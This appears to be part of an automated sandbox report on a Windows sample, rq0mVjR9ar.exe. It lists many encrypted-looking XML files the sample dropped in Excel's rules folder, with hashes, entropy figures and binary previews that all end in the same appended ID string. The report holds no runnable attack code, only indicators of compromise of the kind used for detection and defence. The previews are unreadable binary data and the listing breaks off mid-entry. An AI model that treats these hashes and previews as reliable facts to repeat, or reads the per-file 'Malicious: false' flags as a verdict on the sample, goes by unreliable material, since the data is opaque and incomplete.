.m..~'o.Z5P..<+.(..U......X.6.&..-..!.,...D......y.P.....].....P...........tk{....[..N.....#...5w.{.}.g,.M#EM.@.@.Y....1N.hqE^.X>`.E.x..i.=o3W....n.1!...f>.>.f.E._E..7m...m.v.W#..D@.@g.._p...A...1M..]....i...[....I..1Y.vq.+..:m..M.dY.....o}.JG.......d...pSn.p...nsF..E<.b...........94.........Eul...+.2Yw.Qbj<j.....@{...CB....-2SM..$6.q*..1....2d.@...r.^....Ix..fKRR$...Xd...{......L.!r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.692572038823885
Encrypted:	false
SSDEEP:	12:3FSvQ/zYBIz5CS3hCtBGjjbLz1+z8MCfFR0cz6dvVznSH1EqueI++/ixpZacii9a:VR/zYB83gBsjbLzEGFNedv9m1e59/iTW
MD5:	129F29777FB750EAEEF33EF46BB99369
SHA1:	5BAAA15D517338BC0890732727C58F686CC249D7
SHA-256:	4934DAE5DAABA7BB061ECF0A0FCD763397CAB4CF4DEEAA626B4B7CB71D63A839
SHA-512:	2E23C9D3F459C09323C0C88C2DE9375D703713AAA315CEE05C1AB939F6F5CAC775DFE34FC7E5502AC7948DFF057A6E2711685A0B9EF6D6AE73B29D23F9554E68
Malicious:	false
Preview:	<?xml...I....DQ..G.....J..p.-f.......L..e..,.........]?....'....!.P.W........T....{...Ja...n.Tf.P...?0........p..F..T...T9...1.T..81.z2.o.m.;.=....N .cQ..-....Bqe.\|..w..M...9s..O2.O%d.g.d{fbSZ>.f..[.......d.f..Ko.Md...9..EN.....).Q.^...G..\|.....[.Y....^N....\.7..84r..j..?.Y..\`o.:9../.xR-1...Bt.\.J.......L.G9.?kZ.r"...V........S#...3.@......q ....R.^..yR.RK..M..J......x~.+.....L..!.N.A..d...`n{.T..E... WW5.....5.....m3..Z}Wz.(D..b...c.....Y#A...PVo9...U..q..<..o.\.:k.RWe^qQ..\t...9v...l.&H/...0..,..%.`p.}B...q.!./.:N..+..*..G......0.iP_.._U..s...p.H.H.r...;...!.Q..~....dGt.0..xr..D....m..Ie...o....-..".FK.=3.{...).7.d.{....FXr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.70698672262884
Encrypted:	false
SSDEEP:	12:a549KdhlXPmrXU56t+Edl10dSYBo8aBWx6tc98K2QzzxJiiaycBefRixpZacii9a:aKY+xRyNBItcuvQ2ioBERiTkbD
MD5:	42507BFAA8305B3EBB2946AE328D3FD7
SHA1:	42620B26D206B3E362D504F6FEDB8DFA90EE5AE5
SHA-256:	F41592471E6E9C1F56E37F816CC3B34406E892663818AF5C502A87BC54F55FB7
SHA-512:	F70AB8647DA0B511CD67500853F8F956D0AFE59FBF890626B89DB825C341255B3A581107DE6ED489536EE0D191A63D0D3FA038B132D3E4F209B179E4510ACA54
Malicious:	false
Preview:	<?xmlw.Ea=W4.o....9).\h...b...ZUz...(o%tj..#{....P2...v....0...Q...;.nJ.4....G.y./.K9+=p../..).1._.Db..{11.s...,lP3N..'....>W....>izn.y...~..5.I_/.\|..0;.>g.<..&W^3Y...@:..R.?q..S....9I.`......0....[..=T..J}nO.W...`..v..........%....#i........!7...wT...2.d..T.....9P-......$...ZCW..3..x..S....k..$.....%..s@...tu}.~.N..yc0_.;.n.'8e..A...y]..#j...0......y.4.?.%.8..R...=$i0.2~...^..U...Yv+....b..M<..A.T...A.+..s.u0...c..8E.../....q.F].G.l.HgW..X2v9./.....S.,...{QDe.+Y.'..P4/.8.W..#^.o@.AD..d..J....P.i(x's...<_JR.P3.....@A...=...E.....1y.LI._..z%..i/...G...W3.R0.e.".^..mwc..T.......{...n.0.3.-...a.j..&d.>c.......2.f...&.....\|..H......U...v...#.i....E.8..i...<?He.:~Q.E....Iq..@..p.W......S.....q..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.683531992388201
Encrypted:	false
SSDEEP:	12:YnQc200PGWqQaX5SG48WVY9RAW6wnAXBftmtSKqGbRoeidmuxF6SfsBlgixpZacq:UQc2lPG7PX57LWOGdDpot1qGZxDGsBO1
MD5:	BBE1278354EE1DF02FE35FC97648B4CB
SHA1:	E060D7C586235779C92F819446677FA85DEBEF08
SHA-256:	DDA225FB2662DABAE0E1CE0009630B3628E360A4B6AA84AFB5BB2FAA2949E756
SHA-512:	508DB4595E6A3E6B835756C1D58F8DD008D5670442C668F8BB177A92E8C7E8A711BDCC57CC4AF4727CF9C06D9E02E38A37D2DECEC17C2BB5EB836789C5B9411F
Malicious:	false
Preview:	<?xml........b(X.......R..H2.T..Gc846.=)/..R..sx@..,..!...;.^{...+u.@...).._O.... ...V.'.....o.A........G..\|Qp..gh.v....."..>.O ..n.t...\.?.....h.&.e..!g..9..r..+...7%..#}7i.a.9g..i.fU=3.....g..~.0kP2..r........1../Y9.Q.bo.@B0.......H..;..O..7.Tm!P.4.~sT.4uw.hr..7..z....}.........V3L..=..KS....Q.@..................aw..H..n6.E.......U..............&a...=........V..$....z..........ac..=N6......nC..4.....nj.i..]..8%..(..0.j-....J..7...4..(...{...i....$..$.........h.....Q...9......g.=.9.....c~.)...}\|..m8\|x.Z.I.-~'.A.yFE.g..O;.... Wb..+.xIh0...).E[.....~.....u....qV.WIx...`..L..>k.N?yO...d.I..j..".m..#j.....#&1.n<q..#tZCtpHE&.YP.kr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.738990820911331
Encrypted:	false
SSDEEP:	24:/aGPmC1hG/de5IyiLTJ0u6+TkmwqhRL4wZiTkbD:aeYe5IjT+u6ckTqhRL4w4iD
MD5:	C68AE188C4C5B89663C1623F53E963F9
SHA1:	673CBE5EB0DC8BC6BDBF5633540BD6B5954B8603
SHA-256:	C3BC71A2263AC9CA678104AE6EC600D02EFE2EC2D7114AEDEB4BC61E7A05BB1F
SHA-512:	3C3B5AC29C31368C85E545FB33DA5C82D2DF925B93482394C9C418F0C22BCF9BA01B0F80779B0D404743DF7D7C8CF0B9D9D83149A96F7252AD64C2F4B5691159
Malicious:	false
Preview:	<?xml.c<..(...ai/./....[..y..2.....'W.."O++..J..+T......\|.=....>z..I......!BJ1?...^.........}2j...hI#...USqJ...'.'...t...rv..0.a\....JC..&ND..[.QN.....4.v.[<......?.........%}-7.L5.>3...Q.n...R...1.??.J'....c....N..^q%..8..l..3.3..4.>... y...\..wD8.k.l....T.p...".......n...n..f...&...\.....".%....@N.=.\...og...ou.m....J7.o.....9.......Wnb...........m..... ...HB.....o2a.m..I.7i.U,.q..iXh.._.>.w.p..K.......m..G....,..mZ]t..m2p.65)(..a,.n.[.nM.2..\...}sn.c.I.D....l=.2.KyK......^..@..}..E...D.:S...u....bb...v...\|..[p<.1`..x`C"..G.@....BI.c..F.]!&.].8.aA.zh../R.\/%#..UV..>.XeCv......4....Z7.. 3.C\|..j..e.O...s..N,!9..._...U.s.g....YKq....fI....=0...ox....}Y.F8..K..3.b.==g..V.e......1....\.S.).r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.703225407636289
Encrypted:	false
SSDEEP:	12:C4sq+/hsQxua2tYHjY1DR58crArQuD0NhN99+87kJdqfrYQvMAzkvql+J16ixpZE:H+/hsQxua2tMG8crmQuDuHKq0QkAzkSR
MD5:	18615078A399D26D5582C6ECCDE4DF16
SHA1:	80ABE153A6DC8848EE31E99B53CE5ACA8400CD1E
SHA-256:	9F422AC057865150EF4938722A3B0A1A537CCAD1E2239929B69AE75C4352DD03
SHA-512:	1F5441F0DA540A5A42B2805149B50179B7A65577FDA8DD56800584EC3B4BE3778B298DA18F438399970F5362D420954AE1BC40A3B52F90AE1C06303073729A77
Malicious:	false
Preview:	<?xml.-.....o,]k.{...\|.;.}.[.((.a7..Wnb...+}...s.Z..3...."Q#.f.u.u.#..[-b..../..O. ].M........w..V....B...8.:.h.yL>.#..( _.Sm ....1..5-.MPL.......i.9.....KM..)..G$.}u..>l..m....-&.pD..\|.-.-bo.;g.H...2I.H...`RI.c.UI%h...j.`.....c..\fplYu..dw.........,2.,6.....n`.S.....m.D.@/!..Hz.t..\|....e..I.Ef.....T..^7.v.....^.U...v...."...!....\<..h.6.5.A]2..'...2.rP.{.....m+.....w.....pI..4b..6.......G.....ri...z=e.d..o.DtZG/.t..\|d.j...I.......mY....<.^.G.p&..x... w!...'..hb.h.p.j..u.(I..us.~.<Z)...pEFW.\|@a....2...#.[.W.Q+....z......./..:.y...a....H{/..].rL.,.cx#...h.$^I.w....,.....5l.m...fm...I"..7j.'.E)/..+.........b.....`&Z.u&..Z..BA.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.690998630238353
Encrypted:	false
SSDEEP:	24:Sk2bJ8u979u2E2mylrrXCWubgazfEc6UrTVIOiTkbD:SkS8Y9pEvEyW8gaTE/+mriD
MD5:	964B387826D2D831F020249125AA2B77
SHA1:	8CE02ED4C8770F1BE13A26BC3935686ED34D2879
SHA-256:	B0FAC1E1FD15B20DCDD4CE7F5BE0C694ECB3CE97776906EF7CC71D7ECE7BF58E
SHA-512:	6F00BD61DE560F51DF714063BDC88732557513B8E63D7B6F844D13372D76931BEB71E2ACF6A714FC49B8973D687B3EE79110610C349F4DD26994F3293F766841
Malicious:	false
Preview:	<?xmltX....g>_lk..K.e`....u.J....w?..+....Y..]..@@....T.s...t..x.Z..S..f.L.$^.=..oWi8...s.N6....3.1..&.d....~...,....Q..@..s#......B@...O......F. 2...-.\|(......&...Jfc...Eh.k..n....<......^..-...(.......t..1.I..6E.>..nd.Pf..3.K.Q...............~.~..^...l.4...vO+..`m.27.....W;H..,.....y..0.r.&...W..v.V.\|k..e../PL...5>..%2..&.Bj...1!.!8.'.H..v.=9.L4.........N.....8O.1..>...'...is.I(.......:...i..I`..X..>B.o.<.Z.%.L.9ZK..A.\|L()C........q0.M..N..'....w.H.h:(..`0.j.V.30.X...yA}Z...(...j...[P9..%^wM}.fYiXA.:.(.....\|p..m........j..G..2.}.ty......*...j.....M..} ......Z.S...YQ......!....:....\.....Td...2Yz.C..k.(....=.?.cH ^.@.x.."..7....a.=.%..T[..8._.e.\|}u.{.Y.......B;M.....x8. .....Y\|...F~r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.653312209882263
Encrypted:	false
SSDEEP:	12:rFiAyLnwbTuoPMjOZjAnWMyegolVmhQVr3C4Y5GtUYf/xS1X1UPn55dz9bMxC/iq:ZiAyLwPhPMjpWMJLmGZ3CPGVU1FUP55H
MD5:	E691FF4B221A717A7A36F74BEE9ED2C7
SHA1:	B4AF1B1FF787D5D451E929E39D7E39FD496D9F67
SHA-256:	A3239A2641A0D512D7977E186EB7EF0991C6B2131FB9B6C9247CE81ED8350610
SHA-512:	4D631F545B17CCC9F1A8D0C5BAACDEE644DB804E47D6590043712910765CA7D234C8E2B7188BD457A9586545EC5B2AA120BA37D72B9C96DA8971DEEA9A723E59
Malicious:	false
Preview:	<?xml.]d..P[],.G.:#y....K4.[..Za...j........;D<.G.f..2e...r.J....)X.n?.o......kY.......wT......d..~I.nt.NZJ...Y.%^...?.Nyr...<D..>..7...b.6.....&....p.t.F..e..]...!....D.[..+<....Ia.t8.A.......vB.\|..Z.mu.Tm..)s.......pjs9.\.[q..E...3._.j....&.-..{.k..4...=s....&..1?.7.z4...... .h.j.-.7...C.)h.]N.."O\|Ui.(...Pd.5..C.1.Fc...........*.u....]<H...R. Xp..#4.%/4[]Y.....=\N..$.F{.../s^..2.&.<^..V..C>D.AK...=..#.Ef.nw.;.)..~.....m..E.........G....Q.a.(%...z.dJ.M.v....7Q..4.g.4..F$.Y..~Y.....k....}j.{b.2w6C.x9vk...C.0i......'d...T.?4.....ybHO.O@.[M]5ZC........4O...~..8._....t%.a.a].BY.,i..<A..N...7...1...1 .....~[.....Q..\|=...F..F3.DE...w..4...J.G.h].r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.73432167674221
Encrypted:	false
SSDEEP:	12:hc1rzmSRnAFvoNAogqux9GRfCHVYdPFN4N3u9eyiOxy2RJuL6oL6khXNRfYIe4R7:2ryGAFv+WGnPj4b2RwnLfd5YCiTkbD
MD5:	DCE398BC33B3C9758F0A3B86DD1973D1
SHA1:	4B4B73073C7FAB641979B61D1C55FD5E5316C090
SHA-256:	E0B94301F240B95A877F3FD75BE5F52AC4EA2EDE752D6AB3FEAD859F43779DD9
SHA-512:	B85BDB0F0B4C4D96132A08B1D90E98F381B0F0A886906CFDB5B687E56CDF1D9C4FD78318F4043953F0C43565D8B2A0C74384E90E7600556EAE99867CA0E56183
Malicious:	false
Preview:	<?xml..V[..%.0tK[g...KRH..S..>.A0@O&......$.Q.....R....T..n.$I.:.ch...t.....V[...+4.a..xHL.i}zYZ.$.E...O.......c(....wu\|...nT._...-.+m....y.k.+3....5U...6~-.V.CduH.M......:j...\.;f.b.+........Aw.W...;4#gy...#:...Z.....q.%.8n..M....td...+....}.B..=p..;(....P%?.N..O....-......,N`...~...-....(........Z.}.4......\.OF+l.g..20.Q...:...H..?UO...c.G.4g.]..O.u.P.7.\|8".p\;vxOu..\|....g.....%.......a.%.._p<f..l....<.2.]....h{...u....CAV.Fr..;.V.....B......c.U^.....>..U..gI..w...............k....[.z...[TDy...b..8.q{.38..s..y...{..h...H.[..-@........."..Jw.S..!.\F.......$..".c.m...)..%;E...+..m...P---. .@...6.;.~[.j>..J...`Sy.....Kw.J.......z_."l"[..z)L?\..x.'.-..~..)79E..K..0.W4AG..P.dE....#.q.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.6826153431344375
Encrypted:	false
SSDEEP:	24:qVtkANPA75UnX+4AMvKJ5K7gylGT74MiTkbD:qVtPAVUuIvK6RlGT0liD
MD5:	6FD02BCF7C01AC497043BCCB4C431107
SHA1:	3B1D19C946F99153074138BEF20E2473584986A6
SHA-256:	F5970317B7BF5F3027B7896FD0665DA9DC9781BC14B04233351192AB66491660
SHA-512:	139279F93AD403391F5BD7F2CC6F99068F2FC6D1BC3B0D9E4D2222600B371051295361E18BCB6A6D8BE6D0239605AB1DDF5899A684DB3CA7C807F0A6B99E35E4
Malicious:	false
Preview:	<?xml.$..Z.....Ae..}...].>q...a...s...=....>.......rW9<.D.....5._!...#...nL..#.l...8H9h...<.6.......C_..KZ........>.D...^..I.E....t...+>A~...-.#.m..}....w..q....F...G....yk;..i....p..1..km..'..O.<..K~..'.c.&'-\|...{g..m...$H.N.dy..Q{..2..a.....Eu......X.b....t.....5...x....Zw.....$......C...9.[...t.H[e`7q5\C.:..<r......0$2lb..>].V....GY..rC.hTi59,s.}S.m{l-........P...\.Ec.....-..{i.........-........V.....C........f\|..!..Y.D.;...Jggv.S}..,[.$..........p.\..F.Ix.(.#c......$..#....}.@z.0.O"8.?t......<.>.....k.{....w..J&.&.......Td.4V.c.g....\..+`zv.n....vn...<3s8......MI....{..E[..M%.Z.-..3...77.n.....e..l<v...Tbp....$.1Y\|.z.../d..Q\|..\|LB5.....g.7.1..i.....g-..\.M..zf..J...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.71240690305463
Encrypted:	false
SSDEEP:	24:qGfWlBX3oOMii38okgDHJv4xTp74WWcUiTkbD:Dej3ojBsPgk48NiD
MD5:	D4CE86C1231C3B370C9A820D35924158
SHA1:	5B743AF0E4260366770AAA99ACF5A906F1D7C969
SHA-256:	BCCB6E01899C1A6AEDB7F970B381D93CE333F9A1CFA20D328AF1161C1D00568C
SHA-512:	E969DBD3A3C6D4B37879AFAB1C726F4BD9306ECD89CB6FA0D4015A8ADF2312448F3A09594AD8EAF079FD7CADF265F34B8222B181FE2DF34F4694EFF1220B9125
Malicious:	false
Preview:	<?xml..D{..3.$T..o.....7....JU..Y\!x..,..k......>..j.2..........Z....cR....z..{..N.7.....s..}k.MMX...z..(..!`.{T.qWe<...f..jk....Gt..6G.....+j...q9.M]?..'.5%wT......&..ZY.BB..4c.i6..]..{.W.,...K...L.JY.0......++E..[.,j.)..\| .%3a...,....w...T..V....#.3..K~"F.;.!.@......Cl...k.b.8..[.2......QX..F<..nF\..F.....>.+..\.+?.D....+.^n........._.F. .1d..Mgo.....b@m.\].+......./0...`..!`^....{..s...Vs..Q...L....G...\.&.@B3<....B.C.1\|..ti....U.....nl..I....E....9`.G..X...b9....$..%..r.#...V....w.!......Y8wW...^...3R)..3..m.....X.....S..`dC...fZ]..b.....%..NPQ..bQ..sv...5...g..f_.x..#..*I.$......kq......n&3. .h...+a.Z.S....b.F.7.2g_..\.....{.H5.f`.h.I...^.......D...t....[.%..p..6N/.!&tgV.$..[..Y3....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.707936758725279
Encrypted:	false
SSDEEP:	12:AjPDOYwg6NZyVHylpyAIVGJ/9mGM1MemiFbJlvoC19cPTKFxXwfzen1PeCQUBujQ:AjPaYwg6Lybh41AG4N19cL2XRwrt+iTW
MD5:	00673C4A54EAEFFE859C179CB4E63D0F
SHA1:	B51F9565E21822867ED49B6C7B44B8DEC3E6B547
SHA-256:	6C890A54724BA255C94EF7D9C99A9F06B556B450D7D1FB7455BD8229AE2CD1C8
SHA-512:	1C3CE4FF6CB0D91332F93542B871044F203886C29C2966524A33ECD1BF48E3655105AAD71AE3BF4A20E7A094B81401998B3552DA1DD31B84D4F844BBB76AE155
Malicious:	false
Preview:	<?xml=..k.On..."I.8j..u.....;.o#.%..3N...}.~......wRS.M1'afF..Y.+f....Z.r.... F.UB^.<..&.....0.....\..U...J..Y.!<.3x.....@..+.%.I.qH.p5..D)... Aa......+..9R...a.C5....<.....z.v..#t;....M.+...h..\!........@.......>.y.-..o.vs...F.D.r...hw.......D.....N..A.8..Q........CT..<.WzE.q=3\|.?...-7!...mO..QL..(.8..`T.S.R....7..7...d..q+..2....P...C\|.;5A.............8.9.,...zv...s...Nq,.}...E.B..v.cF...I`I.s.....K...a,s....8.4u;....t..j......A.G_.^............$..P.#U..Uw.....yt.h.\.v%.D...=..}....&...H...4j....Rm...1[......i.S.......U...v..,.Py.g.n.i {.d.jJ.8..NPW.<.95`%..G..>....>.l6........i1.V.._..u}@]O..Q.@.4O.76J.....6.?..M.Zr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.721985085432473
Encrypted:	false
SSDEEP:	24:lahijQcTg3R0V0AZe9v3v0avPyt6tJLiTkbD:lMijQ4g3RnAZw3yt6tIiD
MD5:	6E53D1E398D79DC877C750B07BD6C569
SHA1:	16A5C9399275374E78EACDC8623D333EB9D852C6
SHA-256:	522462CD5E19864F434E2ABFCAB18E788DE38E59E4AE81A8D6B0E70C085CB019
SHA-512:	CF3B9EACEC9B457BF4BB255552A7C82DF0540D495F586EF94CE1A91F7693782C6A9CEC20C05EE5A165A32735C7EB1A5456E78CA1FE60782E6C8475242DDD7046
Malicious:	false
Preview:	<?xml..}A6...yv.2...u..q-.@F^J.....r^!..r.7......H..b> J..p"-.$.?....y.%M..(.E.b<i..I.<t..1.....am.~.A..}..9.S....-..p.R.(.....Z&.jx.5lI..&..#W.......a.TM...C:.q..q.k....;...X.u5....W\3.S....-.4........yQL......6....r......B..[.-.5.B&...<cn..m}#O.%..O....V..U.L.n.s.....=..&.........j..2.\.z.j+.;......w..o..^k...Q(....+.3:.6.Z..]xLM...I.;.4K.nY.4...\.C..S.z...!...c.F.h.XM..:2....`M.1....l..f...$..\|..q3.4'........r.? ..Y..]..9."...~.._K......dK....FqD.R.f7..7_...5..UT.M..<...........N......W...>...m..K~..9J.>..Pz!R.......+=)z....8}.........E.2..Z....4.Z....v.../....[..Z.H.-D..s./..W..H$,^G=.i._e2..G..E...Y_A...]....$......jw.........,.9.r.K.p...dr....?.y3.....c.....DS..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.71580693889628
Encrypted:	false
SSDEEP:	12:CMdusaOvPPYipLaf+nYNrxfqpBF5rIxoDshQQyaM/s6afbFcCJgAvUkdmg31i1zJ:CY0OvDla2YNNif3IXQQyl0DF4AvUgmM2
MD5:	50E9B997AD40ADFA78AF2A4F9658CB91
SHA1:	3C2A2006A4EDF2558AB2CD90CFCD79159CA1205C
SHA-256:	D284CC4901FCBF94D12D5409B8BD2BFCFFBA53C7ADD888011ECC9AE6D0EC7682
SHA-512:	A42D1002AF8FF135103AC732CC543C2CE9C50474D74AB580516F06F47CB272351EEC3A8FF70916C446DD3A2595909ED71BC56050FDC3C0AF92B78483DB8515E0
Malicious:	false
Preview:	<?xmlc...4..}..vY....85.2ep-c.Yt..Q...]_5../;......f..]..g>@....T.n.c)......&.G.!Q.v.p%C........hv.$.Zf'.."....h..."=]...q..\.....L.eR"...(u...<...~.Q./<..4"..,.. .-...........%.C....3...D.0...w....8...?{...l..U...;.._.q.4...L.L.....- .. . .....{.0.$.....>ysY.......a..T.../6.QE.G\|......0..e..G`..@.yB.2`..$....0~..!...=...5....E&.....z..^7T.U!\$h...s..(\|......w4;.'\..~..S...L....W.m...HX...+qGg.$.w....F....@&.+...5.Na~v.......5.C....XFi$.....p.N{#........f.... ..A..yL..V.....z.\|'...U.......2...~.P.&dm./.n...\....U..Jl*.-T_I.Q....h.STC..i....!...c....cz..=._...L..........{47...X.....~$......z!...3.2e\#~..........x..0...T.0..{...3...6......,gW...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.737050078447438
Encrypted:	false
SSDEEP:	24:inw6rRX8myRnZSxInbV9FVTrfAGb91jJZnoEleG5iTkbD:iwGRMmyWERrb91LowYiD
MD5:	609B44F32C9877692610F310B60127EA
SHA1:	55E549B1755E189F363E0943333057AB71B4446A
SHA-256:	9FCD2A7669408ACE36F8BFDFD8228B01E24DE5D4AB93EA41C34AB621CD03479A
SHA-512:	44B5BEBD0C373F875B054E35D9762A13A151EC418C28F5F34B95B8C0DC17B958A5A8FE9362AB5B73D6CEB9B2A2F8514D686B29AFBE90993BB0941F65C42DCBCC
Malicious:	false
Preview:	<?xml...-3.&9.^:8..`.....(....2..Rx....'.yUWxR..:......5.\|.A..W.O.......VO...a..g8 .NJ......o.[..o..%..i.{X.\|.F..[$..o..}.w...T;.7r...V.....?..L.2..?W?......a+...X..........9.m.....ry.w.E3..\|.&..=@f"...88.o....Uq..l.$.-..H...#...._.%...+.q..3.<.yz....W..^....=6..[...R..>..W......F...A4.e..1...eK./..o...1...'.X..(..dX{X{a^jM.AVz6W..j1l... L........G..h...Z..^A.x......VB.Y.b.s.C..Id.v..<s.[.!m...8."..!.\..p.0...>..{$V.$..[.Xh........j`!n.[.]...RW,..b...G.....i....3.^!o..%m#..B.m%.=..U0.-.."..9"..P...:........0...\|/.N.j..P.....f.B`+N;T%....E...tYu_...v.T..}..kF...a...Z.-U....G..ip-.e..x...W....E..l6d....D+.~..U...h...I....`......:..Y......K..Ru...93Y0.p..Z....W.F.......![...'_..Mf.&..0.-.fQ&....l.... [..r.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.675982368610923
Encrypted:	false
SSDEEP:	12:tSNrRukoil4gYJnOWyBcBZBLHVNFFhTdUEOCjJ7QqkMhUiixpZacii9a:s0ko04d5OWugnFFhpUNAJ0xMhUiiTkbD
MD5:	0A1E72F134B23B235EDB66EECAFAADD6
SHA1:	AB9CCB700BC7B4BB359082BAA1D9CCCF14A9764D
SHA-256:	F21E1798F2CF1465F551841B9AAB21258698CF5D402DA378FD62170E68C0247D
SHA-512:	4C51699954202E000D49E36AE012A8C63BAC73B1D1B524CB06B567F4782ED6223A1F6745BD6C73901EB127FEAD825EDB9CE717170D5F32786EEF574997490E7C
Malicious:	false
Preview:	<?xml.dSc.....i.{..4..^......~.+.~...f..7,...\|.%......E..,s...Q .x....!t-..~.kEBxs".u.>w'..:6...{A.J.@..A..Dou.I.+`.!A...>.W.\M.;v.}).......~.Y....;Q..5..s..w.J..u.iH&.2..`\.q..^Kr...`.g........)v.p}b....c..}=.,....zo.i.....L~.2G../R..R.q^Z.1..5...:.wx......5r.../X0..4!U....%...8@.;M.^g(.M#.zzo......l.'.YBC..>....K...6X.A...c.n2.(..........d......1Q.....{...Tf.v....gY....V.U5ti.^1L....t....T..........0..{....O[V.N.j0..e....!I>I..b.Vg....Gp.TpTY..G-...D.Y.HI@..j. 3...z1KQA..p..F!3...C..k....m...c.J ....v^..&..`BC...Ma..1....8.E.\|CY.Q.L.s....+....!.A.9....fyS.M.=Ph.>.0.U...!...)..O.'YJ.4..2D}..0.p.B.......wW.g?1...8...g....]..H.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.741184854672919
Encrypted:	false
SSDEEP:	24:MhqHxt/Ays75CJCYdeXTfKk03jh8Ht/EfMBCkiTkbD:MhqR9fIMJuXTfb0uH709iD
MD5:	AFEFD82E96BF8C48DCEFDE82967066EC
SHA1:	8DBAC660857891AE17F6A797A4116E01870AD8FC
